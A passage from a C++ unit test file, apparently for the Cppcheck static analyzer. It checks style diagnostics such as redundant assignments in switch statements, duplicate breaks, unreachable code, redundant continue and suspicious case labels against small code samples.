\"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" if (y)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" bool ret = false;\\n\"\n \" switch (switchCond) {\\n\"\n \" case 1:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 31:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 54:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" };\\n\"\n \" ret = true;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:8:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:11:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n }\n\n void switchRedundantBitwiseOperationTest() {\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = y | 3;\\n\"\n \" case 3:\\n\"\n \" y = y | 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" if (z)\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= z;\\n\"\n \" z++;\\n\"\n \" default:\\n\"\n \" y |= z;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" bar(y);\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" y = 4;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:8:11]: (style) Variable 'y' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 3;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y ^= 3;\\n\"\n \" case 3:\\n\"\n \" y ^= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 2;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unreachableCode() {\n check(\"void foo(int a) {\\n\"\n \" while(1) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" return 0;\\n\"\n \" return(a-1);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" A:\"\n \" return(0);\\n\"\n \" goto A;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" true\\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" exit(0);\\n\"\n \" break;\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"class NeonSession {\\n\"\n \" void exit();\\n\"\n \"};\\n\"\n \"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { xResAccess->exit(); }\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" throw 0;\\n\"\n \" return;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw = 0;\\n\"\n \" return 1;\\n\"\n \"}\", false, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo(int unused) {\\n\"\n \" return 0;\\n\"\n \" (void)unused;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" if(bar)\\n\"\n \" return 0;\\n\"\n \" return 124;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" while(bar) {\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return 124;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while(bar) {\\n\"\n \" return;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #5707\n check(\"extern int i,j;\\n\"\n \"int foo() {\\n\"\n \" switch(i) {\\n\"\n \" default: j=1; break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \" j=2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" label:\\n\"\n \" throw 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:3]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" virtual void foo (P & Val) throw ();\\n\"\n \" virtual void foo1 (P & Val) throw ();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" while (true) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" do {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" } while (true);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" for (;;) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n // #3383. TODO: Use preprocessor\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style, inconclusive) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #4711 lambda functions\n check(\"int f() {\\n\"\n \" return g([](int x){(void)x+1; return x;});\\n\"\n \"}\",\n true,\n false,\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4756\n check(\"template <>\\n\"\n \"inline uint16_t htobe(uint16_t value) {\\n\"\n \" return ( __extension__ ({\\n\"\n \" register unsigned short int __v, __x = (unsigned short int) (value);\\n\"\n \" if (__builtin_constant_p (__x))\\n\"\n \" __v = ((unsigned short int) ((((__x) >> 8) & 0xff) | (((__x) & 0xff) << 8)));\\n\"\n \" else\\n\"\n \" __asm__ (\\\"rorw $8, %w0\\\" : \\\"=r\\\" (__v) : \\\"0\\\" (__x) : \\\"cc\\\");\\n\"\n \" (void)__v;\\n\"\n \" }));\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6008\n check(\"static std::function< int ( int, int ) > GetFunctor() {\\n\"\n \" return [](int a_, int b_) -> int {\\n\"\n \" int sum = a_ + b_;\\n\"\n \" return sum;\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5789\n check(\"struct per_state_info {\\n\"\n \" uint64_t enter, exit;\\n\"\n \" uint64_t events;\\n\"\n \" per_state_info() : enter(0), exit(0), events(0) {}\\n\"\n \"};\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6664\n check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : exit(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" (beat < 100) ? exit(0) : (void)0;\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8261\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : throw(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" exit(0);\\n\"\n \" return 1;\\n\" // <- clarify for tools that function does not continue..\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum : uint8_t { A, B } var = A;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define INB(x) __extension__ ({ u_int tmp = (x); inb(tmp); })\\n\" // #4739\n \"static unsigned char cmos_hal_read(unsigned index) {\\n\"\n \" unsigned short port_0, port_1;\\n\"\n \" assert(!verify_cmos_byte_index(index));\\n\"\n \" if (index < 128) {\\n\"\n \" port_0 = 0x70;\\n\"\n \" port_1 = 0x71;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" port_0 = 0x72;\\n\"\n \" port_1 = 0x73;\\n\"\n \" }\\n\"\n \" OUTB(index, port_0);\\n\"\n \" return INB(port_1);\\n\"\n \"}\\n\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"[[noreturn]] void n();\\n\"\n \"void f() {\\n\"\n \" n();\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Statements following noreturn function 'n()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" exit(1);\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" do {\\n\"\n \" break;\\n\"\n \" g();\\n\"\n \" } while (0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Statements following 'break' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #12244\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" exit(1);\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int c) {\\n\"\n \" switch (c) {\\n\"\n \" case '\\\\n':\\n\"\n \" { return 1; };\\n\"\n \" default:\\n\"\n \" { return c; };\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main(int argc, char *argv[]) {\\n\" // #11\n \" switch (argc) {\\n\"\n \" case 0: {\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\"\n \"[test.cpp:1:26]: (style) Parameter 'argv' can be declared as const array [constParameter]\\n\",\n errout_str());\n\n check(\"int f(int i) {\\n\" // #13491\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" {\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int a[1];\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" a[0] = 5;\\n\"\n \" return a[0] + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" dostuff();\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", \"\", errout_str());\n\n check(\"int f() {\\n\" // #13472\n \" int var;\\n\"\n \" auto int ret();\\n\"\n \" int ret() {\\n\"\n \" return var;\\n\"\n \" }\\n\"\n \" var = 42;\\n\"\n \" return ret();\\n\"\n \"}\\n\", /*cpp*/ false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #13516\n \" io_uring_for_each_cqe(&ring, head, cqe) {\\n\"\n \" if (cqe->res == -EOPNOTSUPP)\\n\"\n \" printf(\\\"error\\\");\\n\"\n \" goto ok;\\n\"\n \" }\\n\"\n \" usleep(10000);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantContinue() {\n check(\"void f() {\\n\" // #11195\n \" for (int i = 0; i < 10; ++i) {\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\"\n \" do {\\n\"\n \" ++i;\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" } while (i < 10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x, int y) {\\n\" // #13544\n \" switch (x) {\\n\"\n \" case 1: {\\n\"\n \" return y != 0;\\n\"\n \" int z = y + 5;\\n\"\n \" return z != 7;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n }\n\n\n void suspiciousCase() {\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B:\\n\"\n \" foo();\\n\"\n \" case (A||B):\\n\"\n \" foo();\\n\"\n \" case A||B:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '&&' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:5:16]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:7:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case 1:\\n\"\n \" a=A&&B;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B?B:A:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\"), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousEqualityComparison() {\n 